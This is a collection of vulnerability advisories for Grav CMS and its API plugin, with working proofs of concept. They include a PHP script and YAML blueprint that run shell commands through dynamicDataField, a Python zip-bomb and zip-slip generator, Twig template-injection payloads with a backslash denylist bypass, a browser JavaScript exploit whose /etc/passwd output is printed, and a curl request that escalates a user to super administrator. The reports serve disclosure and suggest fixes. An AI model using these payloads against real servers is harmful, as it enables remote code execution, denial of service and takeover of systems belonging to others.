Version tested: current master, commit fae9e1bf2c40ce0b50d0dfce647aaa1d22f98969. git describe reports this as 2.0.8-2-gfae9e1bf2, two commits past the 2.0.8 tag. I checked those two commits directly: one is a merge commit, the other fixes spaces in Markdown image/link filenames (ParsedownGravTrait.php, unrelated). Neither touches Blueprint.php, FlexDirectory.php, or Utils.php. git diff 2.0.8 -- system/src/Grav/Framework/Flex/FlexDirectory.php system/src/Grav/Common/Data/Blueprint.php returns no output, so the vulnerable code is byte-for-byte identical to what shipped in the released 2.0.8 version. I also checked the CHANGELOG for 2.0.7, 2.0.8, and the not-yet-tagged 2.0.9 entry: 2.0.7 documents the original GHSA-fj2p-qj2f-74v5 fix, and neither 2.0.8 nor 2.0.9 mentions Flex, dynamic field data, or any related change. The two methods were never unified, so this gap has existed since the original patch shipped in 2.0.7 and is still present in the latest code as of this report.
PoC
Part 1, code level. This is the minimal, self-contained reproduction: no web server, no plugins, no accounts, just a checkout with composer install run. It calls the real, unmodified FlexDirectory::dynamicDataField() directly and is a suitable regression check for confirming the fix; once the method is patched to reject dangerous callables, this script should stop writing the proof file.
php <?php require 'vendor/autoload.php';
use Grav\Common\Data\Blueprint; use Grav\Framework\Flex\FlexDirectory;
$proofFile = '/tmp/gravrceproof.txt';
// Mimics a Flex directory blueprint YAML file containing a data-test@: directive, // the same syntax the GHSA-fj2p-qj2f-74v5 PoC used against Blueprint::dynamicData(). // No trampoline gadget needed here. dynamicDataField() performs zero validation // on $function. $items = [ 'fields' => [ 'myfield' => [ 'type' => 'text', 'data-test@' => ['exec', "id > $proofFile 2>&1"], ], ], ];
$blueprint = new Blueprint(null, $items); $blueprint->embed('', $items); // triggers deepInit(), populates $blueprint->dynamic
// Register the real, unmodified FlexDirectory::dynamicDataField as the 'data' // handler. This is exactly what FlexDirectory::getBlueprint() does for every // Flex directory in production. $refClass = new ReflectionClass(FlexDirectory::class); $flexDirectoryInstance = $refClass->newInstanceWithoutConstructor(); $method = $refClass->getMethod('dynamicDataField'); $method->setAccessible(true);
$blueprint->addDynamicHandler('data', function (array &$field, $property, array &$call) use ($method, $flexDirectoryInstance) { $method->invoke($flexDirectoryInstance, $field, $property, $call); });
$blueprint->init();
echo fileexists($proofFile) ? filegetcontents($proofFile) : "not vulnerable\n";
Output:
uid=1000(d) gid=1000(d) groups=1000(d),4(adm),...
Part 2, full HTTP chain against the real admin panel. Configuration used:
- Base checkout: same commit as above. - bin/gpm install admin flex-objects -y, which pulls in form, login, email, shortcode-core, api as dependencies. - php -S localhost:8000 system/router.php.
Step 1. flex-objects ships a self-contained sample custom directory at blueprints/flex-objects/contacts.yaml, with its own admin.contacts/api.contacts permission set. Added one field to its form.fields:
yaml pocfield: type: text label: PoC Field data-test@: - exec - "id > /tmp/gravhttprceproof.txt 2>&1"
Step 2. Registered contacts as an active directory through a normal config override, the same file the admin Plugin Configuration screen writes to (user/config/plugins/flex-objects.yaml):
yaml directories: - 'blueprints://flex-objects/pages.yaml' - 'blueprints://flex-objects/user-accounts.yaml' - 'blueprints://flex-objects/user-groups.yaml' - 'blueprints://flex-objects/contacts.yaml'
Step 3. Confirmed a full super-admin account can trigger it, as a baseline. POST /api/v1/flex-objects/contacts (the ordinary "create a new contact" endpoint) with a super-admin JWT:
HTTP 201 Created
/tmp/gravhttprceproof.txt contained the id command's output. This confirms the chain fires through the real API: FlexApiController::create() calls FlexDirectory::createObject()/save(), which calls blueprint init(), which calls dynamicDataField(), which calls calluserfuncarray('exec', [...]). The read-only blueprint-serving endpoint, GET /blueprints/flex-objects/{type}, does not trigger this; only the create/update processing path calls init().
Step 4. Created a second account with nothing granted except:
yaml access: admin: login: true api: access: true contacts: create: true
No admin.super, no api.super, no permission on anything except creating records in this one directory. That is exactly the permission contacts.yaml's own blueprint declares for this action (admin.permissions.api.contacts: {type: crudpl} maps to api.contacts.create). The token response confirmed the account had nothing else: "superadmin": false, with only api.access and api.contacts.create set to true.
That account sent the same POST /api/v1/flex-objects/contacts request, an ordinary "create a contact" call indistinguishable from legitimate use:
HTTP 201 Created
/tmp/gravhttprceproof.txt was overwritten with fresh id output.
This was reproduced a second time on a completely separate, freshly cloned checkout (independent composer install, independent bin/gpm install, new accounts) to rule out any dependency on leftover state from the first run. Same result both times.
Impact
Threat model. The attacker needs an authenticated account with create or update permission on a single Flex directory, nothing more. The PoC account held exactly one permission, api.contacts.create, scoped to one custom directory, with superadmin: false and no other access. From that single permission it gets arbitrary shell command execution as the web server user, full remote code execution. That is a trust boundary crossing, not something inside the actor's own scope: a permission that is only supposed to let someone add records to one directory turns into unrestricted code execution on the server.
Any Grav 2.0 install running the flex-objects plugin, or any other plugin that defines Flex directories (Flex Users and Flex Pages are Grav-core Flex types and go through the same unprotected code path), is affected once a blueprint field anywhere carries a data-@: directive. Whoever can place that directive into an active blueprint needs a separate level of access to do so. I was not able to independently confirm from this checkout alone whether Grav ships an admin-panel flow that lets a non-superadmin write field-level blueprint YAML, since that logic likely lives in flex-objects or admin UI code outside what I traced. What is fully proven is the trigger side: once such a field exists, for any reason, an account that can only create records in that directory can run shell commands on the server. Per your own severity guidelines, that is a High: a lower-privilege actor ending up with capability well beyond their granted role.
Suggested fix: route FlexDirectory::dynamicDataField() through the same isSafeDynamicCall()/Utils::isDangerousFunction() checks Blueprint::dynamicData() already uses, ideally by having it delegate to the patched method rather than reimplementing callable dispatch on its own. It would also be worth checking whether any other addDynamicHandler() registration in the codebase has the same gap.
Summary An authenticated admin.super user can crash Grav or fill the disk by uploading a specially crafted ZIP archive through the Direct Install tool. The method Installer::unZip() calls ZipArchive::extractTo() without any limit on uncompressed size, entry count, or directory depth, enabling Zip Bomb (CWE-409), stack overflow (CWE-674), and disk/inode exhaustion. Details The vulnerability is in system/src/Grav/Common/GPM/Installer.php:176-208 (Installer::unZip()). The ZipArchive::extractTo() call at line 184 is not preceded by any validation of the archive contents.
Missing validation: - ❌ No total uncompressed size check (decompression bomb — CWE-409) - ❌ No entry count check (inode exhaustion) - ❌ No directory nesting depth check (stack overflow in Folder::doDelete() — CWE-674)
The subsequent cleanup call Folder::delete($destination) at line 189 recursively deletes every subdirectory without depth limit (Folder.php:531-547). A ZIP with thousands of nested directories will cause PHP's maximum nesting level to be exceeded, so the cleanup fails silently and leaves extracted files on disk.
The existing Zip Slip fix (GHSA-w48r-jppp-rcfw / CVE-2026-42607, commit 5a12f9be8) only checks for ../ in entry paths and does not add any size, count, or depth limits. PoC 1. Generate the malicious ZIP:
python3 cvepocgravzip.py: python #!/usr/bin/env python3 """ CVE PoC — Grav CMS Installer::unZip() Zip Bomb + Zip Slip + Deep Nesting ZIP file to attach to the CVE advisory.
Note: Zip Slip (../) already has CVE-2026-42607. This PoC targets the Zip Bomb (CWE-409) which has NO CVE — extracted size/depth/count have no limits. """
import zipfile, os, sys
OUT = "/tmp/cvepocgrav.zip"
def build(): with zipfile.ZipFile(OUT, 'w', zipfile.ZIPDEFLATED) as z: # --- Zip Slip: arbitrary write outside target --- z.writestr("../../../tmp/CVEPOCSLIP", "ZIP SLIP: writes outside target\n")
# --- Deep nesting: 100 levels → Folder::delete() has no depth limit --- for i in range(100): z.writestr(f"deep/{'x/' i}.keep", "")
# --- Compression bomb: 100 identical files = ratio ~ 196:1 --- for i in range(100): z.writestr(f"bomb/{i}.dat", b"A" 100000)
with zipfile.ZipFile(OUT) as z: infos = z.infolist() compressed = os.path.getsize(OUT) uncompressed = sum(e.filesize for e in infos) slip = any(".." in e.filename for e in infos) depths = [e.filename.count('/') for e in infos]
print("=" 60) print("CVE PoC — Grav CMS Installer::unZip()") print("Zip Bomb | Zip Slip | Deep Nesting") print("=" 60) print(f"File : {OUT}") print(f"ZIP size : {compressed:,} B ({compressed/1024:.1f} KB)") print(f"Uncompressed : {uncompressed:,} B ({uncompressed/1024/1024:.1f} MB)") print(f"Ratio : {uncompressed/compressed:.0f}:1") print(f"Entries : {len(infos)}") print(f"Max depth : {max(depths) if depths else 0}") print(f"Zip Slip (../) : {'YES' if slip else 'NO'}") print(f"\nUpload via Grav Admin → /admin/tools/direct-install?task=directInstall") print(f"Result: disk exhaustion + Folder::delete() stack overflow + arbitrary write") if name == "main": build()
3. Authenticate as admin.super and retrieve the nonce from /admin
4. Upload through Direct Install: curl -X POST 'https://target/admin/tools/direct-install?task=directInstall' \ -H 'Cookie: grav-admin=<SESSION>' \ -F 'admin-nonce=<NONCE>' \ -F 'uploadedfile=@/tmp/cvepocgrav.zip' Result: server extracts all entries (9.5 MB → 200 files + 100 nesting levels). The cleanup crashes with "Maximum function nesting level reached" due to 100-level deep recursion. Impact
An authenticated administrator (admin.super) can: - Fill the server disk with highly compressed data (196:1 ratio with simple repeating data, up to 10^11:1 with nested ZIP bombs) - Exhaust inodes via thousands of small files - Trigger a PHP stack overflow via deep directory nesting that prevents cleanup, leaving files on disk permanently - Partially or fully deny service to all users (both authenticated and unauthenticated)
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.18 does not apply the API-key scope cap in the injectSecurityTab() function of BlueprintController when deciding whether a page's security/permissions blueprint section is editable. Because the function performs raw isSuperAdmin()/hasPermission() checks without a request parameter, it cannot enforce scopeAllows(). A caller holding a scoped API key may therefore see (and potentially edit) page permission fields beyond the scope granted to the key. The end-to-end write-time impact was not fully confirmed by the reporter.
The Grav API plugin (getgrav/grav-plugin-api) before 1.0.6 contains an authorization bypass: API keys can be created with a restricted scopes array, but the ApiKeyAuthenticator class never reads or enforces these scopes. It loads and returns the owning user's full account object, so a key created with limited scopes (e.g. read-only) can perform any write, delete, or administrative operation the owning user is authorized for. Fixed in 1.0.6.
The Grav API plugin (getgrav/grav-plugin-api) 1.0.0 contains an unrestricted file upload vulnerability in the avatar upload endpoint (/api/v1/users/user/avatar). The endpoint validates only the client-declared MIME type (getClientMediaType) beginning with 'image/' and does not inspect the actual file content or restrict the resulting extension, allowing an authenticated user to store arbitrary content — including PHP code, SVG with embedded JavaScript, and polyglot payloads — under user/accounts/avatars/ with predictable filenames. Direct HTTP access to the stored files is blocked by .htaccess (returns 403), but the files persist on disk and could lead to remote code execution or stored XSS in the presence of a path traversal flaw or server misconfiguration. Fixed in 1.0.1.
Grav before 1.6.30 contains a cross-site scripting vulnerability in the Admin plugin page editor default security configuration. Privileged users with page editing capabilities can inject malicious scripts to execute arbitrary code and install malicious plugins for system access.
Summary The fix for SSTI using |map, |filter and |reduce twigs implemented in the commit 71bbed1 introduces bypass of the denylist due to incorrect return value from isDangerousFunction(), which allows to execute the payload prepending double backslash (\\)
Details The isDangerousFunction() check in version 1.7.42 and onwards retuns false value instead of true when the \ symbol is found in the $name.
php ... if (strpos($name, "\\") !== false) { return false; }
if (inarray($name, $commandExecutionFunctions)) { return true; } ... Based on the code where the function is used, it is expected that any dangerous condition would return true php / @param Environment $env @param array $array @param callable|string $arrow @return array|CallbackFilterIterator @throws RuntimeError / function mapFunc(Environment $env, $array, $arrow) { if (!$arrow instanceof \Closure && !isstring($arrow) || Utils::isDangerousFunction($arrow)) { throw new RuntimeError('Twig |map("' . $arrow . '") is not allowed.'); } when |map('\system') is used in the malicious payload, the single backslash is dropped prior to reaching strpos($name, '\\') check, thus $name variable already has no backslash, and the command is blacklisted because it reaches the if (inarray($name, $commandExecutionFunctions)) { validation step.
However if |map('\\system') is used (i.e. double backslash), then the strpos($name, "\\") !== false takes effect, and isDangerousFunction() returns false , in which case the RuntimeError is not generated, and blacklist is bypassed leading to code execution.
Exploit Conditions This vulnerability can be exploited if the attacker has access to:
1. an Administrator account, or 2. a non-administrator, user account that has Admin panel access and Create/Update page permissions
Steps to reproduce
1. Log in to Grav Admin using an administrator account. 2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user: - Login to Admin - Allowed - Page Update - Allowed 3. Log out of Grav Admin 4. Login using the account created in step 2. 5. Choose Pages -> Home 6. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage. 7. Under the Content tab, insert the following payload within the editor: {{ ['id'] | map('\\system') | join() }} 8. Click the Preview button. Observe that the output of the id shell command is returned in the preview.
Mitigation
diff diff --git a/system/src/Grav/Common/Utils.php b/system/src/Grav/Common/Utils.php index 2f121bbe3..7b267cd0f 100644 --- a/system/src/Grav/Common/Utils.php +++ b/system/src/Grav/Common/Utils.php @@ -2069,7 +2069,7 @@ abstract class Utils } if (strpos($name, "\\") !== false) { - return false; + return true; } if (inarray($name, $commandExecutionFunctions)) {
Grav is a flat-file content management system. Prior to version 1.7.42, the patch for CVE-2022-2073, a server-side template injection vulnerability in Grav leveraging the default filter() function, did not block other built-in functions exposed by Twig's Core Extension that could be used to invoke arbitrary unsafe functions, thereby allowing for remote code execution. A patch in version 1.74.2 overrides the built-in Twig map() and reduce() filter functions in system/src/Grav/Common/Twig/Extension/GravExtension.php to validate the argument passed to the filter in $arrow.
Grav is a flat-file content management system. In versions 1.7.42 and prior, the "/forgotpassword" page has a self-reflected cross-site scripting vulnerability that can be exploited by injecting a script into the "email" parameter of the request. While this vulnerability can potentially allow an attacker to execute arbitrary code on the user's browser, the impact is limited as it requires user interaction to trigger the vulnerability. As of time of publication, a patch is not available. Server-side validation should be implemented to prevent this vulnerability.
Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen.
Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.
PoC 1. Log in to the administrator screen and access the edit screen of the default page "Typography". (http://127.0.0.1:8000/admin/pages/typography) 2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (id) is being executed. js (async () => { const nonce = document.querySelector("input[name=admin-nonce]").value; const id = document.querySelector("input[name=uniqueformid]").value;
const payload = "{{['id']|map('system')|join}}"; // SSTI Payload
const params = new URLSearchParams(); params.append("task", "save"); params.append("data[header][title]", "poc"); params.append("data[content]", payload); params.append("data[folder]", "poc"); params.append("data[route]", ""); params.append("data[name]", "default"); params.append("data[header][bodyclasses]", ""); params.append("data[ordering]", 1); params.append("data[order]", ""); params.append("toggleabledata[header][process]", "on"); params.append("data[header][process][twig]", 1); params.append("data[header][orderby]", ""); params.append("data[header][ordermanual]", ""); params.append("data[blueprint", ""); params.append("data[lang]", ""); params.append("postentriessave", "edit"); params.append("form-name", "flex-pages"); params.append("uniqueformid", id); params.append("admin-nonce", nonce);
await fetch("http://127.0.0.1:8000/admin/pages/typography", { method: "POST", headers: { "content-type": "application/x-www-form-urlencoded", }, body: params, });
window.open("http://127.0.0.1:8000/admin/pages/poc/:preview"); })();
Execution Result - Payload: {{['id']|map('system')|join}} sh uid=501(<username>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(appserverusr),80(admin),81(appserveradm),98(lpadmin),701(com.apple.sharepoint.group.1),33(appstore),100(lpoperator),204(developer),250(analyticsusers),395(com.apple.accessftp),398(com.apple.accessscreensharing),399(com.apple.accessssh),400(com.apple.accessremoteae) uid=501(<username>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(appserverusr),80(admin),81(appserveradm),98(lpadmin),701(com.apple.sharepoint.group.1),33(appstore),100(lpoperator),204(developer),250(analyticsusers),395(com.apple.accessftp),398(com.apple.accessscreensharing),399(com.apple.accessssh),400(com.apple.accessremoteae) - Payload: {{['cat /etc/passwd']|map('system')|join}} sh # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody::-2:-2:Unprivileged User:/var/empty:/usr/bin/false root::0:0:System Administrator:/var/root:/bin/sh daemon::1:1:System Services:/var/root:/usr/bin/false uucp::4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico taskgated::13:13:Task Gate Daemon:/var/empty:/usr/bin/false networkd::24:24:Network Services:/var/networkd:/usr/bin/false installassistant::25:25:Install Assistant:/var/empty:/usr/bin/false lp::26:26:Printing Services:/var/spool/cups:/usr/bin/false postfix::27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false scsd::31:31:Service Configuration Service:/var/empty:/usr/bin/false ces::32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false appstore::33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false mcxalr::54:54:MCX AppLaunch:/var/empty:/usr/bin/false appleevents::55:55:AppleEvents Daemon:/var/empty:/usr/bin/false geod::56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false devdocs::59:59:Developer Documentation:/var/empty:/usr/bin/false sandbox::60:60:Seatbelt:/var/empty:/usr/bin/false mdnsresponder::65:65:mDNSResponder:/var/empty:/usr/bin/false ard::67:67:Apple Remote Desktop:/var/empty:/usr/bin/false www::70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false eppc::71:71:Apple Events User:/var/empty:/usr/bin/false cvs::72:72:CVS Server:/var/empty:/usr/bin/false svn::73:73:SVN Server:/var/empty:/usr/bin/false mysql::74:74:MySQL Server:/var/empty:/usr/bin/false sshd::75:75:sshd Privilege separation:/var/empty:/usr/bin/false qtss::76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false cyrus::77:6:Cyrus Administrator:/var/imap:/usr/bin/false mailman::78:78:Mailman List Server:/var/empty:/usr/bin/false appserver::79:79:Application Server:/var/empty:/usr/bin/false clamav::82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false amavisd::83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false jabber::84:84:Jabber XMPP Server:/var/empty:/usr/bin/false appowner::87:87:Application Owner:/var/empty:/usr/bin/false windowserver::88:88:WindowServer:/var/empty:/usr/bin/false spotlight::89:89:Spotlight:/var/empty:/usr/bin/false tokend::91:91:Token Daemon:/var/empty:/usr/bin/false securityagent::92:92:SecurityAgent:/var/db/securityagent:/usr/bin/false calendar::93:93:Calendar:/var/empty:/usr/bin/false teamsserver::94:94:TeamsServer:/var/teamsserver:/usr/bin/false updatesharing::95:-2:Update Sharing:/var/empty:/usr/bin/false installer::96:-2:Installer:/var/empty:/usr/bin/false atsserver::97:97:ATS Server:/var/empty:/usr/bin/false ftp::98:-2:FTP Daemon:/var/empty:/usr/bin/false unknown::99:99:Unknown User:/var/empty:/usr/bin/false softwareupdate::200:200:Software Update Service:/var/db/softwareupdate:/usr/bin/false coreaudiod::202:202:Core Audio Daemon:/var/empty:/usr/bin/false screensaver::203:203:Screensaver:/var/empty:/usr/bin/false locationd::205:205:Location Daemon:/var/db/locationd:/usr/bin/false trustevaluationagent::208:208:Trust Evaluation Agent:/var/empty:/usr/bin/false timezone::210:210:AutoTimeZoneDaemon:/var/empty:/usr/bin/false lda::211:211:Local Delivery Agent:/var/empty:/usr/bin/false cvmsroot::212:212:CVMS Root:/var/empty:/usr/bin/false usbmuxd::213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false dovecot::214:6:Dovecot Administrator:/var/empty:/usr/bin/false dpaudio::215:215:DP Audio:/var/empty:/usr/bin/false postgres::216:216:PostgreSQL Server:/var/empty:/usr/bin/false krbtgt::217:-2:Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false kadminadmin::218:-2:Kerberos Admin Service:/var/empty:/usr/bin/false kadminchangepw::219:-2:Kerberos Change Password Service:/var/empty:/usr/bin/false devicemgr::220:220:Device Management Server:/var/empty:/usr/bin/false webauthserver::221:221:Web Auth Server:/var/empty:/usr/bin/false netbios::222:222:NetBIOS:/var/empty:/usr/bin/false warmd::224:224:Warm Daemon:/var/empty:/usr/bin/false dovenull::227:227:Dovecot Authentication:/var/empty:/usr/bin/false netstatistics::228:228:Network Statistics Daemon:/var/empty:/usr/bin/false avbdeviced::229:-2:Ethernet AVB Device Daemon:/var/empty:/usr/bin/false krbkrbtgt::230:-2:Open Directory Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false krbkadmin::231:-2:Open Directory Kerberos Admin Service:/var/empty:/usr/bin/false krbchangepw::232:-2:Open Directory Kerberos Change Password Service:/var/empty:/usr/bin/false krbkerberos::233:-2:Open Directory Kerberos:/var/empty:/usr/bin/false krbanonymous::234:-2:Open Directory Kerberos Anonymous:/var/empty:/usr/bin/false assetcache::235:235:Asset Cache Service:/var/empty:/usr/bin/false coremediaiod::236:236:Core Media IO Daemon:/var/empty:/usr/bin/false launchservicesd::239:239:launchservicesd:/var/empty:/usr/bin/false iconservices::240:240:IconServices:/var/empty:/usr/bin/false distnote::241:241:DistNote:/var/empty:/usr/bin/false nsurlsessiond::242:242:NSURLSession Daemon:/var/db/nsurlsessiond:/usr/bin/false displaypolicyd::244:244:Display Policy Daemon:/var/empty:/usr/bin/false astris::245:245:Astris Services:/var/db/astris:/usr/bin/false krbfast::246:-2:Kerberos FAST Account:/var/empty:/usr/bin/false gamecontrollerd::247:247:Game Controller Daemon:/var/empty:/usr/bin/false mbsetupuser::248:248:Setup User:/var/setup:/bin/bash ondemand::249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false xserverdocs::251:251:macOS Server Documents Service:/var/empty:/usr/bin/false wwwproxy::252:252:WWW Proxy:/var/empty:/usr/bin/false mobileasset::253:253:MobileAsset User:/var/ma:/usr/bin/false findmydevice::254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false datadetectors::257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false captiveagent::258:258:captiveagent:/var/empty:/usr/bin/false ctkd::259:259:ctkd Account:/var/empty:/usr/bin/false applepay::260:260:applepay Account:/var/db/applepay:/usr/bin/false hidd::261:261:HID Service User:/var/db/hidd:/usr/bin/false cmiodalassistants::262:262:CoreMedia IO Assistants User:/var/db/cmiodalassistants:/usr/bin/false analyticsd::263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false fpsd::265:265:FPS Daemon:/var/db/fpsd:/usr/bin/false timed::266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false nearbyd::268:268:Proximity and Ranging Daemon:/var/db/nearbyd:/usr/bin/false reportmemoryexception::269:269:ReportMemoryException:/var/db/reportmemoryexception:/usr/bin/false driverkit::270:270:DriverKit:/var/empty:/usr/bin/false diskimagesiod::271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false logd::272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false appinstalld::273:273:App Install Daemon:/var/db/appinstalld:/usr/bin/false installcoordinationd::274:274:Install Coordination Daemon:/var/db/installcoordinationd:/usr/bin/false demod::275:275:Demo Daemon:/var/empty:/usr/bin/false rmd::277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false accessoryupdater::278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false knowledgegraphd::279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false coreml::280:280:CoreML Services:/var/db/coreml:/usr/bin/false sntpd::281:281:SNTP Server Daemon:/var/empty:/usr/bin/false trustd::282:282:trustd:/var/empty:/usr/bin/false mmaintenanced::283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false darwindaemon::284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false notificationproxy::285:285:Notification Proxy:/var/empty:/usr/bin/false avphidbridge::288:288:Apple Virtual Platform HID Bridge:/var/empty:/usr/bin/false biome::289:289:Biome:/var/db/biome:/usr/bin/false backgroundassets::291:291:Background Assets Service:/var/empty:/usr/bin/false oahd::441:441:OAH Daemon:/var/empty:/usr/bin/false oahd::441:441:OAH Daemon:/var/empty:/usr/bin/false
PoC Video - PoC Video
Impact Remote Command Execution (RCE) is possible.
Occurrences - https://github.com/getgrav/grav/blob/develop/system/src/Grav/Common/Twig/Extension/GravExtension.php#L174
References - PortSwigger: Server-side template injection - HackTricks: SSTI (Server Side Template Injection)
Grav is a file-based Web platform. Prior to version 1.7.42, the denylist introduced in commit 9d6a2d to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution. A patch in version 1.7.42 improves the denylist.
Grav is a file-based Web platform. Prior to version 1.7.42, there is a logic flaw in the GravExtension.filterFilter() function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution. The vulnerability can be found in the GravExtension.filterFilter() function declared in /system/src/Grav/Common/Twig/Extension/GravExtension.php. Version 1.7.42 contains a patch for this issue. End users should also ensure that twig.undefinedfunctions and twig.undefinedfilters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.
grav is vulnerable to Reliance on Cookies without Validation and Integrity Checking
grav-plugin-admin is vulnerable to Improper Restriction of Rendered UI Layers or Frames
Summary
An insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE.
Details
The vulnerability is located in user/plugins/api/classes/Api/Controllers/UsersController.php within the update method.
The API allows users to update their own profiles if they possess the basic api.access permission:
php // UsersController.php -> update() $isSelf = $currentUser->username === $username; if (!$isSelf) { $this->requirePermission($request, 'api.users.write'); } else { // Self-edit only requires api.access $this->requirePermission($request, 'api.access'); }
However, when filtering the fields that are allowed to be updated via a PATCH request, the access field (which defines the user's role and permissions) is indiscriminately included in the $allowedFields whitelist for all users:
php // Partial update - only update provided fields $allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'contenteditor', 'access', 'twofaenabled']; foreach ($allowedFields as $field) { if (arraykeyexists($field, $body)) { $user->set($field, $body[$field]); } }
Because there is no secondary check to verify if the user attempting to modify the access field is already an administrator, any low-privileged user can overwrite their own access object with a malicious payload granting themselves super: true.
PoC
1. Prerequisites: You need a low-privileged user account (eg. user1) that possesses the basic api.access permission.
2. Obtain JWT: Authenticate to the API to obtain your accesstoken:
bash curl -X POST http://<target>/api/v1/auth/token \ -H "Content-Type: application/json" \ -d '{"username":"user1","password":"yourpassword"}'
3. Exploit: Send a PATCH request to the user update endpoint.
bash curl -X PATCH http://<target>/api/v1/users/user1 \ -H "X-API-Token: <youraccesstoken>" \ -H "Content-Type: application/json" \ -d "{\"access\":{\"admin\":{\"login\":true,\"super\":true},\"api\":{\"access\":true,\"super\":true},\"site\":{\"login\":true}}}"
4. Verification: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.
Impact
This is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.